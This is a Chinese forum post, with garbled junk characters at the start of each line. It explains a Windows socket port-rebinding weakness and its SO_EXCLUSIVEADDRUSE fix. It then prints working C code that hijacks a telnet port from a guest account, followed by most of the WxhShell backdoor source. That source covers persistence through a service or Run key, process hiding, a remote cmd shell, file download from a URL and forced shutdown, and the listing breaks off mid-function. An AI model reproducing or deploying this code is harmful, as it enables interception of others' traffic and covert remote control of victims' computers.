在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
!,6v=n[Nz s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
rTsbP40 [6_Du6\h saddr.sin_family = AF_INET;
3b?OW7H 8pq-nuf|K saddr.sin_addr.s_addr = htonl(INADDR_ANY);
lA.;ZD! ^0s\/qyqm bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
J%\~<_2ny x'@32gv 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Y0X"Zw -#S)}NEn 这意味着什么?意味着可以进行如下的攻击:
CEX}`I*- Nr]8P/[~ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
)pZekh]v te\h?H 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
7dlKdKH C'8!cPFVv 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
EOBs}M; sR>`QIi(a 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
m,@1LwBH orB8Q\p' 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
KCJN< ?9(o*lp 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
;X$q#qzN# }l}yn@hYC 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
pVV}1RDa [j=,g-EOA #include
\=w'HZH#+ #include
@m/;ZQ #include
Tbi]oB# #include
>9.5-5" DWORD WINAPI ClientThread(LPVOID lpParam);
Wiq{wxe int main()
4{*tn"y {
|ilv|U V WORD wVersionRequested;
L8bI0a]r"* DWORD ret;
OB I+<2`Oc WSADATA wsaData;
EREolCASb BOOL val;
+-H}s` SOCKADDR_IN saddr;
43J\8WBn@ SOCKADDR_IN scaddr;
$c@w$2 int err;
83
i1 SOCKET s;
`sk!C7% SOCKET sc;
q6C6PPc int caddsize;
m1hW< HANDLE mt;
u(1J=h DWORD tid;
a@fE46o6< wVersionRequested = MAKEWORD( 2, 2 );
Ue{vg$5|| err = WSAStartup( wVersionRequested, &wsaData );
] Wx>)LT if ( err != 0 ) {
HBh` 2Q printf("error!WSAStartup failed!\n");
mFqSD return -1;
" K 8&{= }
e}'#Xv saddr.sin_family = AF_INET;
^])e[RN7?n cS D._"P //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
ocIt@#20K 4#^'lKIx saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
YH)Opk saddr.sin_port = htons(23);
$5TepH0D if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
$=PWT-GIR {
Qy=HrL]x printf("error!socket failed!\n");
~!nLbK2 return -1;
kgbobolA }
Q;$
9qOF val = TRUE;
y:[BP4H ?y //SO_REUSEADDR选项就是可以实现端口重绑定的
<#+oQ>5s if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
zU
f>db {
w~kHQ%A printf("error!setsockopt failed!\n");
ioC@n8_[G return -1;
~Na=+}.q_ }
XYqpI/s //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
XJx,9trH //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
2qZa9^} //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
3[0w+{(Q 4GG1E. z} if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
SXRdNPXFO {
K<@[_W+ ret=GetLastError();
zVM4BT( printf("error!bind failed!\n");
le7
`uz!% return -1;
gd337jw }
Sao>P[#x listen(s,2);
V19e> while(1)
[_y9"MMwn {
.UM<a
Ik caddsize = sizeof(scaddr);
t6'61*)|0 //接受连接请求
D9 qX->p sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
! jbEm8bt if(sc!=INVALID_SOCKET)
_Kc1 {
)\{'fF mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
IK*oFo{C=K if(mt==NULL)
Y%<`;wK=^ {
UF@IBb}0 printf("Thread Creat Failed!\n");
#*!+b break;
t*{,Gk }
![^EsgEB* }
%ZujCZn CloseHandle(mt);
_9D|u<D }
#|qm!aGs closesocket(s);
#F_'}?09% WSACleanup();
FE/$(7rM return 0;
f>.4-a? }
`WH[DQ DWORD WINAPI ClientThread(LPVOID lpParam)
q1YLq(e {
oi7
3YOB SOCKET ss = (SOCKET)lpParam;
K!3{M!B SOCKET sc;
M'yO+bu unsigned char buf[4096];
blJIto' SOCKADDR_IN saddr;
:
@'fpN long num;
p/r~n'g$ DWORD val;
- #3{{ DWORD ret;
y L*LJ //如果是隐藏端口应用的话,可以在此处加一些判断
?n!lUr$:y //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
4\p$4Hs} saddr.sin_family = AF_INET;
;aq `N}d saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
vG Y!4@[ saddr.sin_port = htons(23);
|q3f]T&+>{ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
p3g4p {
]#F q>E printf("error!socket failed!\n");
Mv|vRx^b return -1;
t,RyeS/ }
sz'p3 val = 100;
q1 H=/[a if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
53B.2
4Tm {
I0!j<G ret = GetLastError();
EPc!p> return -1;
r)V Lf#3B }
XZ}de%U1 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
l;Q
>b]DZ {
ylk{! ret = GetLastError();
X]qCS0GD' return -1;
_3|6ZO }
#C4|@7w% if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
:]'q#$! {
p~h4\.*` printf("error!socket connect failed!\n");
t) LU\! closesocket(sc);
0z/h+, closesocket(ss);
g;8M<`qvf return -1;
UmJUt| }
V|TA:&:7 while(1)
H ZPcd_( {
L^lS^P //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
tyB)HF //如果是嗅探内容的话,可以再此处进行内容分析和记录
8$ic~eJ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
1YFeVMc num = recv(ss,buf,4096,0);
(wife#)~ if(num>0)
hGvq T, ' send(sc,buf,num,0);
d>&\V)E else if(num==0)
@d&g/ccMxd break;
'GkvUrD9D$ num = recv(sc,buf,4096,0);
Yt{ji if(num>0)
5:c;RRn send(ss,buf,num,0);
+kM\
D~D1 else if(num==0)
`4LJ;KC( break;
;d4y{ }
6z Ay)~ closesocket(ss);
J;~E<_"Hn closesocket(sc);
N r<9u$d9= return 0 ;
OZ^h\m4 }
V7:\q^$ `|Ey)@w !nwbj21% ==========================================================
SZ/(\kQ6 %l,4=TQ[m 下边附上一个代码,,WXhSHELL
bhYU5I 9 q3+I<qsAz ==========================================================
glx2I_y ]oEQ4 #include "stdafx.h"
mbyih+amCr ;Z*'D} #include <stdio.h>
yxvjg\!& #include <string.h>
PcB{=L #include <windows.h>
0(8gQ
2n #include <winsock2.h>
DcN"=Y #include <winsvc.h>
;u,rtEMy; #include <urlmon.h>
_%%yV
//<:k8 #pragma comment (lib, "Ws2_32.lib")
p5-<P?B #pragma comment (lib, "urlmon.lib")
`gI~|A4 pw3(t #define MAX_USER 100 // 最大客户端连接数
S;8. yj- #define BUF_SOCK 200 // sock buffer
Atd1qJ #define KEY_BUFF 255 // 输入 buffer
;1@C_5C zka?cOmYF[ #define REBOOT 0 // 重启
^sV|ck #define SHUTDOWN 1 // 关机
2SciB*5 KY
g3U #define DEF_PORT 5000 // 监听端口
~T 02._E ENq"mwV| #define REG_LEN 16 // 注册表键长度
=:gjz4}_8 #define SVC_LEN 80 // NT服务名长度
=U NT.] )pS8{c)E // 从dll定义API
Jn*Nao_) typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
9:-T@u typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
KaW~ERx5 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Rboof`pVt typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
,Aj }]h\L wu 2:'y>n // wxhshell配置信息
'irGvex struct WSCFG {
E_3r[1l int ws_port; // 监听端口
$@2"{9Z char ws_passstr[REG_LEN]; // 口令
WNa3^K/W{ int ws_autoins; // 安装标记, 1=yes 0=no
^X&)'H char ws_regname[REG_LEN]; // 注册表键名
&dRjqn^&X char ws_svcname[REG_LEN]; // 服务名
b66R}=P l char ws_svcdisp[SVC_LEN]; // 服务显示名
[/OQyb4F< char ws_svcdesc[SVC_LEN]; // 服务描述信息
,]7XMU3 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
y\#o2PVmY int ws_downexe; // 下载执行标记, 1=yes 0=no
nhewDDu char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
j&CZ=?K^c char ws_filenam[SVC_LEN]; // 下载后保存的文件名
b@6:1x Fc'[+L--Q };
4UD' %}>y .E$q&7@/j // default Wxhshell configuration
]RD5Ex!K? struct WSCFG wscfg={DEF_PORT,
GJ `UO "xuhuanlingzhe",
6R2uWv 1,
4%7s259% "Wxhshell",
4.Z(:g "Wxhshell",
JT)k "WxhShell Service",
:!O><eQw "Wrsky Windows CmdShell Service",
rz.IoQo "Please Input Your Password: ",
3] ^' 1,
/cfHYvnz "
http://www.wrsky.com/wxhshell.exe",
Rg&19}BU "Wxhshell.exe"
-NzTqLBn };
:Fw?{0 ZMdW2_*F // 消息定义模块
SA+d&H}Fc char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
_CE9B e\ char *msg_ws_prompt="\n\r? for help\n\r#>";
M/#U2!iFk char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
!
=WcF5 char *msg_ws_ext="\n\rExit.";
.&iN(Bd char *msg_ws_end="\n\rQuit.";
F7T E|LZ char *msg_ws_boot="\n\rReboot...";
]fE3s{y
&- char *msg_ws_poff="\n\rShutdown...";
p=B?/Sqa char *msg_ws_down="\n\rSave to ";
l.oBcg[ -B9S}NPo char *msg_ws_err="\n\rErr!";
q-
:4=vkn char *msg_ws_ok="\n\rOK!";
oLS7`+b$ Pm^lr! 3p char ExeFile[MAX_PATH];
dB3N%pB^ int nUser = 0;
%S`ik!K"I HANDLE handles[MAX_USER];
~ziexZ=N int OsIsNt;
E>}q2 S+ebO/$> SERVICE_STATUS serviceStatus;
{ma;G[! SERVICE_STATUS_HANDLE hServiceStatusHandle;
4SR(->@ kA^A mfba // 函数声明
a,n93-m(m int Install(void);
j Nc<~{/ int Uninstall(void);
5B*qbM int DownloadFile(char *sURL, SOCKET wsh);
$.:3$et@/ int Boot(int flag);
fHfY}BQS void HideProc(void);
y5u\j{?Te int GetOsVer(void);
|I^y0Q:K int Wxhshell(SOCKET wsl);
!SF^a6jT void TalkWithClient(void *cs);
{mSJUK?TKl int CmdShell(SOCKET sock);
8lwM{?k$ int StartFromService(void);
%F J#uQXZ int StartWxhshell(LPSTR lpCmdLine);
_Adsq8sFW K-(;D4/sQE VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
d>!p=O`>{q VOID WINAPI NTServiceHandler( DWORD fdwControl );
{/ &B!zvl 5v9uHxy // 数据结构和表定义
S}7>RHe SERVICE_TABLE_ENTRY DispatchTable[] =
4ht\&2&: {
uyT/Xzo3 {wscfg.ws_svcname, NTServiceMain},
/9_#U#vhY {NULL, NULL}
2B` 8eb };
+< KNY "}zda*z8 // 自我安装
VAKy^nR5j int Install(void)
xl2g0? {
1;Xgc@ char svExeFile[MAX_PATH];
m r4b HKEY key;
+(mL~td01 strcpy(svExeFile,ExeFile);
dJl^ADX[@ c7qwNs*f // 如果是win9x系统,修改注册表设为自启动
[H,u)8) if(!OsIsNt) {
3eKQ<$w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
}q'WC4. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
GuO`jz F RegCloseKey(key);
wiE]z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
yd>}wHt RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
?/d!R]3 RegCloseKey(key);
T"!EK& return 0;
l!IGc: }
'ere!:GJD }
O&'/J8 }
l~1AT% else {
KzVTkDn, yr{B5z, // 如果是NT以上系统,安装为系统服务
bx>i6
R2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
HmV />9 if (schSCManager!=0)
@!\K>G >9[ {
-0 0}if7 SC_HANDLE schService = CreateService
!kXeO6X@m (
I7mG/ schSCManager,
<zfKC wscfg.ws_svcname,
gj+3y9 wscfg.ws_svcdisp,
L'9N9CR{i SERVICE_ALL_ACCESS,
xK;e\^v SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
"^%Z'ou SERVICE_AUTO_START,
~>%DKJe SERVICE_ERROR_NORMAL,
Zq*eX\#C svExeFile,
3k'.(P|F NULL,
A1A3~9HuK NULL,
aws"3O%
uW NULL,
.7Kk2Y NULL,
A}G|Yfn NULL
E*|tOj9`1n );
Q)^g3J if (schService!=0)
.mPg0 {
x~/+RF XF CloseServiceHandle(schService);
onl>54M^ CloseServiceHandle(schSCManager);
g:gB`8w? strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
^\wl2 strcat(svExeFile,wscfg.ws_svcname);
;&?pd"^<_Z if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
A/ 0qk RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
J_ J+cRwq RegCloseKey(key);
?63&g{vA return 0;
_/ Os^ >R }
>.LKct*5K }
~L4eZ CloseServiceHandle(schSCManager);
D;js.ZF }
s[c^"@HT }
eb!_ie"D hI~SAd
,#A return 1;
!k<:k
"7 }
]rW8y%yD TnE+[.Qu // 自我卸载
/F~X,lm*~ int Uninstall(void)
r4;Bu<PQN1 {
!T'X
'Q HKEY key;
0"4@;e_)> 7X'y>\^w^> if(!OsIsNt) {
;NsO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
!R:y'Y%j RegDeleteValue(key,wscfg.ws_regname);
2u:4$x8 RegCloseKey(key);
-<W2PY< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
9*}gl3y RegDeleteValue(key,wscfg.ws_regname);
,{{SI RegCloseKey(key);
(@&I_>2Q return 0;
._<ii 2K' }
km\%BD~ }
=B(mIx;m }
G6O/(8 else {
9L)L|4A.l fp&Got!pB SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
7+XM3 if (schSCManager!=0)
Lko`F$5X {
h&'=F)5 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
1D{#rA.X if (schService!=0)
O&$0&dhc {
#`/QOTnm2c if(DeleteService(schService)!=0) {
@ {}rG8 CloseServiceHandle(schService);
3jPB#%F CloseServiceHandle(schSCManager);
X?dfcS*!n return 0;
' G#SLqZy }
A=`*r* CloseServiceHandle(schService);
<qY5SV, }
F?4Sz# CloseServiceHandle(schSCManager);
')o0O9/; }
xP@/9SM }
I@./${o wO!u!I return 1;
oR %agvc^^ }
i\p:#'zk5 lrys3 // 从指定url下载文件
xm^95}80yh int DownloadFile(char *sURL, SOCKET wsh)
h%1Y6$ {
eXzXd*$S HRESULT hr;
'_o@VO char seps[]= "/";
@"8R3BN char *token;
;<-7*}Dj char *file;
y/R+$h(% char myURL[MAX_PATH];
0.DQO; char myFILE[MAX_PATH];
- L~Uu^o 0HbJKix! strcpy(myURL,sURL);
;~/4d- token=strtok(myURL,seps);
H/jm
f5 while(token!=NULL)
l{%a&/ {
dlD}Ub file=token;
:p-Y7CSSu token=strtok(NULL,seps);
iJP{|-h }
Z"tQpJg qrDcL>Hrn GetCurrentDirectory(MAX_PATH,myFILE);
/`+7_=- strcat(myFILE, "\\");
*K)0UKBr strcat(myFILE, file);
4e9E'
"8% send(wsh,myFILE,strlen(myFILE),0);
bUvK send(wsh,"...",3,0);
l)8sw= hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
7/>a:02 if(hr==S_OK)
A&N*F "q return 0;
n,nisS else
Yx1 D) return 1;
RvW.@#EH0 aZgNPw }
)w"0w( 0Q1/ n2V // 系统电源模块
(=JueF@J int Boot(int flag)
( u f5\}x {
kaFnw(xa HANDLE hToken;
9#@Zz4Ww TOKEN_PRIVILEGES tkp;
8p=>?wG treXOC9^B8 if(OsIsNt) {
cyMs(21 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
2
sSwDF LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
oh\1>3,Ns tkp.PrivilegeCount = 1;
Bp3L>AcVu tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
}1>atgq]w AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
9^zx8MRXd if(flag==REBOOT) {
t!jwY /T if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
o!Fl]3F return 0;
H#+xKYrp }
<SQ(~xYi else {
QS\
x{<e/ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
}m_t$aaUc1 return 0;
@^CG[:| }
{!=2<-Aq }
;3UvkN else {
3; y_mg if(flag==REBOOT) {
E@pFTvo if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
F=i!d,S return 0;
NI\H
\#bJ }
h{/ve`F>@ else {
/=ylQn3
* if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
(C `@a/q return 0;
RVP 18ub.S }
z!CD6W1n }
-N z}DW> AbZ:(+@cP return 1;
XV5`QmB9 }
U;gp)=JNT 4$Pr|gx // win9x进程隐藏模块
#!d]PH746 void HideProc(void)
0yTQ{'Cc {
QUp?i
*<kD"m HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
O+FBQiv if ( hKernel != NULL )
N84qcc {
{^wdJZ~QLK pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
PYieD}' ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
RbAt3k;y FreeLibrary(hKernel);
J wFned#T }
o? dR\cxj la702)N{ return;
*w 21U! }
!KDr`CV& T*\$<- ^ // 获取操作系统版本
<[9?Rj@ int GetOsVer(void)
hVZo"XUb {
JUU&Z[6J OSVERSIONINFO winfo;
;]@exp5 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
z8tl0gd%D GetVersionEx(&winfo);
,'_(DJX if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
N 8}lt return 1;
d h?dO` else
6n-r return 0;
A'~#9@l< }
kaO{#i2- yoW>
BX // 客户端句柄模块
jGiw96,Y int Wxhshell(SOCKET wsl)
4:`[q E3 {
h0XH`v SOCKET wsh;
Y^3)!> struct sockaddr_in client;
$_bZA;EMQ DWORD myID;
I-{^[p p %^!aB while(nUser<MAX_USER)
e>!E=J)j {
kjX7- ZPY int nSize=sizeof(client);
b[0S=e
G wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
zn^ v!:[ if(wsh==INVALID_SOCKET) return 1;
kp; &cQu! Nm"<!a<F handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
C9pnU,[ if(handles[nUser]==0)
N(BiOLZL6 closesocket(wsh);
j%5a+(H,z; else
6Pijvx^0 nUser++;
HTN$ >QTI }
3W'FcE)|E WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
ol#yjrv 4Pf+]R return 0;
<S{7Ro }
@Wz%KdXA jYk5~<\k // 关闭 socket
dq2@6xd void CloseIt(SOCKET wsh)
Z>h{`
X\2 {
yDuq6`R* closesocket(wsh);
Pl?}>G nUser--;
vG3M5G ExitThread(0);
ki4Xp'IK }
uAT/6@ `x*/UCy\ // 客户端请求句柄
KcnjF^k void TalkWithClient(void *cs)
94YA2_f; {
3 69Zu4|u FH[#yq.Pr SOCKET wsh=(SOCKET)cs;
)r pD2H char pwd[SVC_LEN];
}{t3SGs J char cmd[KEY_BUFF];
<K,[sy&Qy char chr[1];
B6uRJcD4 int i,j;
!^-OfqIHfV ]f5c\\) while (nUser < MAX_USER) {
&~}@u[=ux vgN@~Xa if(wscfg.ws_passstr) {
g+3Hwtl if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
|C4o zl=O? //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Fq4lXlSB //ZeroMemory(pwd,KEY_BUFF);
K?JV]^ i=0;
+9jivOmK while(i<SVC_LEN) {
;da4\bppt S!<"Swf: // 设置超时
L,
#Byao fd_set FdRead;
S<9gyW struct timeval TimeOut;
hWm0$v1p FD_ZERO(&FdRead);
$i -zMa FD_SET(wsh,&FdRead);
df yrn%^Ia TimeOut.tv_sec=8;
#XfT1 TimeOut.tv_usec=0;
Yq{jEatY{/ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
CMFC"e Se if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
2=O))^8 ;8uHRcdQ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
A`g.[7 pwd
=chr[0]; -FaaFw:Z;A
if(chr[0]==0xd || chr[0]==0xa) { :k\}Ik
pwd=0; <oQ6 Z X
break; +2El
} ^t7_3%%w
i++; 7<vy;"wB
} !9PX\Xbn
*iYMX[$
// 如果是非法用户,关闭 socket ~Z7)x7
z
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EFeAr@nj
} A^t"MYX@
R7,pukK
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UL[uh@4
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b70AJe=
vLr&ay!w
while(1) { {x|MA(NO
=8@RKG`>;
ZeroMemory(cmd,KEY_BUFF); ZDfS0]0F
0xLkyt0
// 自动支持客户端 telnet标准 d0TgqO{
j=0; *0lt$F$~b
while(j<KEY_BUFF) { K1<k+t/V
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JLml#Pu4
cmd[j]=chr[0]; g4i #1V=
if(chr[0]==0xa || chr[0]==0xd) { b13nE.
cmd[j]=0; YN$`y1V
break; ["<5?!bU
} 3eJ\aVI>pE
j++; oH=4m~'V
} $@68=
";o~&8?)
// 下载文件 }tu4z+T2
if(strstr(cmd,"http://")) { t Z+0}d
send(wsh,msg_ws_down,strlen(msg_ws_down),0); mqubXS;J|P
if(DownloadFile(cmd,wsh)) + 2OZJVJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {({
R: !c
else =1eV
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G}Gb|sD
Zq
} }!Xf&c{7{
else { 1+Sg"?8
N-Qu/,~+
switch(cmd[0]) { x4@MO|C
Cy]"
// 帮助 . c#90RP
case '?': { Oxpo6G
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 58 kv#;j
break; 2lF WW(
} A (PE
// 安装 n&(3o6i'
case 'i': { 0=2H9v
if(Install()) IcRM4Ib))Q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rz)v-Yu
else cl?<
7
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =7#u+*Yr9
break; W31LNysH!;
} B$@1QG
// 卸载 .v N)A
*
case 'r': { uQO(?nCi
if(Uninstall()) /@6E3lhS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); P>>f{3e.
else :vw0r`
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1<;\6sg
break; eog\pMv
} |{zHM2 3gD
// 显示 wxhshell 所在路径 (\T8!s{AO
case 'p': { @T9m}+fR
char svExeFile[MAX_PATH]; A{G5Plrh
strcpy(svExeFile,"\n\r"); O 0Vn";Q 4
strcat(svExeFile,ExeFile); )j]gm i"
send(wsh,svExeFile,strlen(svExeFile),0); V|+ `L-
break; F|DR
} <Sz>ZIISd
// 重启 ,G/\@x%
case 'b': { 8}Fw%;Cb
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zuK/(qZ
if(Boot(REBOOT)) Iv Y,9D
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |~7+/VvI+
else { USlF+RY@3L
closesocket(wsh); B?$S~5
}
ExitThread(0); +ZY2a7uI
} (N)r#"FV
break; :y4)qF
} <)r,CiS
// 关机 'm
case 'd': { BERn _5gb
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <\B],M1=s=
if(Boot(SHUTDOWN)) VaOpO8y`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); : ;|)/
else { Xw&QrTDS`
closesocket(wsh); zv8aV2?D
ExitThread(0); r)) $XM
} 6-)7:9y
break; ;D%$Eh&oma
} LsuAOB 8
// 获取shell !l sy&6
case 's': { Oz"@yL}
CmdShell(wsh);
2tm~QL
closesocket(wsh); `V?x
xq\
ExitThread(0); XLkL#&Ir
break; _lP4ez
Y
} K0d-MC
// 退出 s:-8 Z\,
case 'x': { <B|n<R<?
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z!q2F%02FO
CloseIt(wsh); AAIyr703cQ
break; o[5=S,'
} @2x0V]AI
// 离开 =NVZ$K OZ
case 'q': { fvAh?<Ul
send(wsh,msg_ws_end,strlen(msg_ws_end),0); [lDt0l5^
closesocket(wsh); }qgqb
WSACleanup(); L8,H9T#e
exit(1); U08<V:~
break; 9}K(Q=
} xiOv$.@q
} $Uv<LVd(
} ]be0I)
gJ)h9e*m^
// 提示信息 'sT}DX(7M
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >S?C {_g
} PCV58n3
} 8GF[)z&|P:
-s?dzX
return; pIU#c&%<9
} Zztt)/6*
pq/FLYiv
// shell模块句柄 Thht_3_C,f
int CmdShell(SOCKET sock) orcZyYU
{ /-G qG)PX
STARTUPINFO si; !`O_VV`/@
ZeroMemory(&si,sizeof(si)); G#9o?
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }J'5EAp
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a<a&63
PROCESS_INFORMATION ProcessInfo; E.7AbHph0
char cmdline[]="cmd"; r{Qs9
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Mipm&5R
return 0; U5@TaGbx
} S*2L4Uj`|
9TbS>o
// 自身启动模式 9H
!B)
int StartFromService(void) dw{#||
{ SoXX}<~E4
typedef struct ~P"!DaAf
{ <{-(\>f!9
DWORD ExitStatus; cpr{b8Xb8&
DWORD PebBaseAddress; tF;& x
g
DWORD AffinityMask; ,oB k>
DWORD BasePriority; 110>p
ULONG UniqueProcessId; ~vjr;a(B
